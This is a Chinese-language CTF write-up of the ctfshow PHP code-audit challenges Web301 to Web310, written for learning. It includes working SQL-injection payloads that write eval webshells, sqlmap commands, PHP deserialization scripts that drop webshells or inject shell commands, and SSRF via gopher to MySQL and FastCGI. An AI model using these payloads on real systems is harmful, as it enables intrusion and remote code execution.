ctfshow代码审计

前言

正好最近省赛的复现有点php代码审计的苗头了,正好看到ctfshow里面也有代码审计的模块,这里写一写

Web301

知识点:sql写马、联合注入创建用户

文件结构如下

image-20251123144019748

在checklogin.php中一眼定真,直接凭借的sql语句,直接开打sql注入

image-20251123164303689

这里直接sql写马,审了个寂寞

1
userid=admin' into outfile '/var/www/html/12.php' lines terminated by '<?php eval($_POST[1]);?>'--+

image-20251123171716555

image-20251123171640533

flag在当前目录下的flag.php直接cat就行了,另外这道题正常做法还可以用联合注入伪造虚拟数据登录进去就可以访问flag.php了

这里当作练习,就都尝试一下吧

在联合查询并不存在得数据时,联合查询就会构造一个虚拟得数据就相当于构造了一个虚拟账户,可以使用这个账户登录。当然作用局限性也很大,比如说后端如果限制你必须用admin登录,那你不炸了

第一次知道联合注入可以这样打

image-20251128090919086

image-20251128090921947

Web302

知识点:sql依旧写马

代码修改如下照样写马

image-20251128092849009

这里改的是

image-20251128092934162

显然是加固了一下,这里判断的条件导致联合注入没那么无脑了,因为这个是和数据库中的字符做比较。

可以打联合注入虚拟数据,可以通过源码中的代码对密码进行加密,就可以了

1
2
3
4
<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

写马还是照样

写马还是要抓包,不抓包写不了

image-20251128111049535

这里还不能url编码,一直想学习一下这个,服务端处理请求报文的逻辑。

image-20251128111424341

Web303

知识点:sqlmap跑盲注

换了附件,但是项目结构是一样的

image-20251128113853736

貌似多了一些东西,来简单审计一下,首先还是checklogin.php,这里队sql注入点加了限长,sql注入应该是无法利用了

image-20251128114214804

看看多出来的dpt.phpdptadd.php

dpt.php都是一些前端dptadd.php则存在新的SQL注入点,这里只要控制dpt_name参数就可以执行sql注入了

image-20251128142544521

但是新的问题来了,访问这个页面是需要loginsession的,否则会重定向回login.php

但是fun.php这里输出了sds_decode("admin"),感觉也是一种变相的提示密码就是admin(其实直接爆破也可以)

image-20251128144133389

成功登录之后尝试访问dptadd.php,成功,显示出来的也是之前的insert语句

image-20251128144817427

直接用sqlmap跑一下,无绕过的sql注入还是太简单了

1
python sqlmap.py -r bp.txt -p dpt_name -D sds -T sds_fl9g --dump --technique=B

image-20251128154908537

image-20251128155638899

手打的话也挺简单,因为insert语句本身就是插入语句,里面是可以嵌套select

1
2
3
4
5
6
7
8
查表名
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
 
查字段
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#
 
查值
dpt_name=1',sds_address=(select flag from sds_fl9g)#

image-20251128152931496

也可以用报错注入,这里直接带过了

Web304

知识点:同上

说是上了waf但是估计忘记上环境了,反正sqlmap还是照样跑的出来。这里直接跳过了

Web305

知识点:项目反序列化写马

项目结构还是相同,一眼看到发序列化,并且触发点在cookie

image-20251128155933867

去看看class.php的逻辑

image-20251128160042603

简单,直接传马上去,本地测试成功

image-20251128163042773

别穿错路由了。。。。。。()

image-20251128164040602

image-20251128164001215

没找到flag,连蚁剑去数据库里找,记得不能连https

image-20251128164702549

要看蚁剑里的conn.php中的数据库信息

image-20251128164919525

image-20251128165104586

也是第一次知道蚁剑可以直接管理数据库

image-20251128165129169

Web306

知识点:构造反序列化链写马

开始使用mvc架构

项目结构如下

image-20251130143235122

MVCModel-View-Controller)模式是一种广泛应用于软件开发中的架构模式,特别是在用户界面的设计中。它将应用程序分为三个核心部分:模型(Model)、视图(View)和控制器(Controller),实现了关注点的分离,即将数据的管理、用户界面和控制逻辑分离开来。

index.php中找到反序列化的点

image-20251205101124899

看一下checklogin.php。很明显,把登录的功能搞到了service类中

image-20251130152059193

那么接下来跟进看看service类的代码逻辑,包含了两个文件,然后在dao.php是用于查询用户名对应的密码,然后如果查询对了的话就创建新的user对象。这个user对象就是反序列化的利用点

image-20251130152955045

接下来去看看dao.php的逻辑

image-20251130154228932

这里明显存在sql注入,还是没过滤的那种,不过因为checklogin.php还存在用户名长度限制,所以这里sql注入其实是没有作用的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
	public function get_user_password_by_username($u){
		$sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";
		$result=$this->conn->query($sql);
		$row=$result->fetch_array(MYSQLI_BOTH);
		if($result->num_rows>0){
			return $row['sds_password'];
		}else{
			return '';
		}
	}

其实漏洞点这个destruct这里很明显是调用了close函数

image-20251130155603199

然后再class.phplog类中也有很明显的close方法,而且直接可以利用

image-20251205102253578

写个脚本,这里要注意的就是conn这个成员赋值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php

class dao{
	private $config;
	private $conn;
	public function __construct(){
		$this->conn = new log();
	}
}
class log{
	public $title='a.php';
	public $info='<?php @eval($_POST[\'a\']);?>';
	public function close(){
		file_put_contents($this->title, $this->info);
	}
}

$a = new dao();
echo base64_encode((serialize($a)));

image-20251205152414510

这里稍微解释一下利用链

1
2
3
4
5
6
7
8
首先是被利用的点
index.php  -> unserialize
     |
     v
dao.php dap类    ->  调用一个close()方法
     |
     v
class.php log类   ->  close类存在文件上传函数

另外我发现一个很有趣的事情,当我的木马密码为数字的时候就会出错误

image-20251205151422722

这种时候写进去的马也无法连接

只有木马为字母的时候才会报200。也许和这个log类有关系

image-20251205153507501

蚁剑连接后,在当前目录找到,我还以为又在数据库呢

image-20251205153828083

Web307

知识点:项目反序列化链命令注入

项目结构

image-20251205154705281

多了一个controller更像mvc架构了,后续审java代码的话,这个还是挺有帮助的

index.php没发现啥在login.php发现注入点

image-20251205170640091

然后注意到包含了这个service.php直接去看一下

1
require 'controller/service/service.php';

很明显可以看到两个熟的不能再熟的魔术方法,接下来就去看看config类和dao

image-20251205173423268

config.php没啥东西

image-20251205173925156

dao.php这里还是有这个经典的魔术方法,不过class.php中的close方法已经改成了closelog,所以这里是走不通了

image-20251206171236060

dao.php中还看到了这个可以命令注入的点,说不定这里就是攻击的地方

image-20251206171444129

这里config在构造函数里定义了是config类的对象,所以拼接的是config类的cache_dir成员

问题是,怎么触发这个函数呢?在Seay里有一个全局搜索,我们搜索一下clearCache()这个函数。可以发现除了service.phpdao.php还有一个login.php存在clearCache()

image-20251206173517625

跟进看看,看来这里才是利用点,那么就很好解决了

image-20251206173647164

我们构造脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
	}

}

class config{
	public $cache_dir = ';echo "<?php @eval(\$_POST[1]); ?>" > /var/www/html/f.php;';
}

$a = new dao();
//echo serialize($a);
echo base64_encode(serialize($a));

//TzozOiJkYW8iOjI6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NTg6IjtlY2hvICI8P3BocCBAZXZhbChcJF9QT1NUWzFdKTsgPz4iID4gL3Zhci93d3cvaHRtbC9mLnBocDsiO31zOjk6IgBkYW8AY29ubiI7Tjt9

image-20251208173929983

讲一下构造脚本的思路,其实有些曲折

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class service{
	private $dao;
	public function __construct(){
		$this->dao=new dao();
	}
}

class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->config=new config();
	}

}

class config{
	public $cache_dir = ';echo "<?php @eval(\$_POST[1]); ?>" > /var/www/html/f.php;';
}

$a = new service();
echo serialize($a);
echo base64_encode(serialize($a));

一开始,我看到logout.php里包含了service就觉得肯定需要从service类开始。但其实,从service类的话,是不行的。后来经过了解,发现了php的包含链

后来还发现这个命令注入写马居然还需要转义一下\$_POST,命令注入看来是需要转义的(写入包含php代码的文件也需要)

(分析还可以,但是构造代码功力还是弱了)

Web308

知识点:项目反序列化链ssrf打mysql

最后一个项目,后续都是这个源码

依旧项目结构:

image-20251209151259400

简单审计之后,发现之前那个命令注入的地方加了一点waf

image-20251209154928998

所以也过不了了,只能寻找新的

index.php中看到有调用奇怪的东西

image-20251209165530023

跟进查看

image-20251209170838087

熟悉的dao.php,这里调用了一个checkUpdate,继续跟进

image-20251209171026344

最后在fun.php有一个ssrf

image-20251209171232701

结合题目描述说要拿shell,这里可以想到通过ssrf连接mysqlsql注入木马

先生成一个payload

1
select "<?php @eval($_POST[1]);?>" into outfile '/var/www/html/1.php';

image-20251212113224102

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class dao{
	private $config;

	public function __construct(){
		$this->config=new config();
	}

	public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

}

class config{
	public $update_url = 'gopher';
}

$a = new dao();
echo serialize($a);
echo base64_encode(serialize($a));

在index.php发包(这里虽然有重定向,但是不妨碍继续执行代码)

image-20251212113433656

Web309

知识点:gopher协议探测端口,打FastCGI

题目描述:308方法失效,mysql需要密码了

附件没变,审计过程就忽略了,主要看利用方式。

漏洞点还是ssrf我们可以通过gopher协议探测一下可用的一些端口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class dao{
	private $config;

	public function __construct(){
		$this->config=new config();
	}

	public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

}

class config{
	public $update_url = 'gopher://127.0.0.1:[端口]';
}

$a = new dao();
echo serialize($a);
echo base64_encode(serialize($a));
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
常见服务

#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm(FastCGI) 默认端口

用Gopher请求端口时,如果端口有服务在监听,则会接受连接并等待我们传输数据,此时连接会"卡住"一段时间;如果端口没有服务,则会立刻拒绝连接。通过是否出现等待,就能判断端口是否开放

image-20251212143532229

说明这里存在9000端口的FastCGI(快速通用网关接口,用于php加速网页处理请求)

这里再说句题外话,因为java是不用这个老掉牙的技术的,所以现在环境里几乎没有这个。甚至php都只有一些灰黑产业会用

所以学学看就好了,不用太深入,我们还是要学一些通用漏洞

怎么打呢

1
2
3
./gopherus.py --exploit fastcgi
index.php
echo  "<?php eval(\$_POST[1]);?>" >1.php

这里也可以反弹shell(这里转义符号之前还记录了一下)

image-20251212150931612

image-20251212150957555

直接读就行了

Web310

知识点:同上

思路同上,flag换了个地方

image-20251212151448359

总结

总结下来还是有些收获的,对php的代码审计已经有些眉头了,有些自己的方式方法。另外还学到了sstfFastCGI,这真是从来没接触过的东西。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计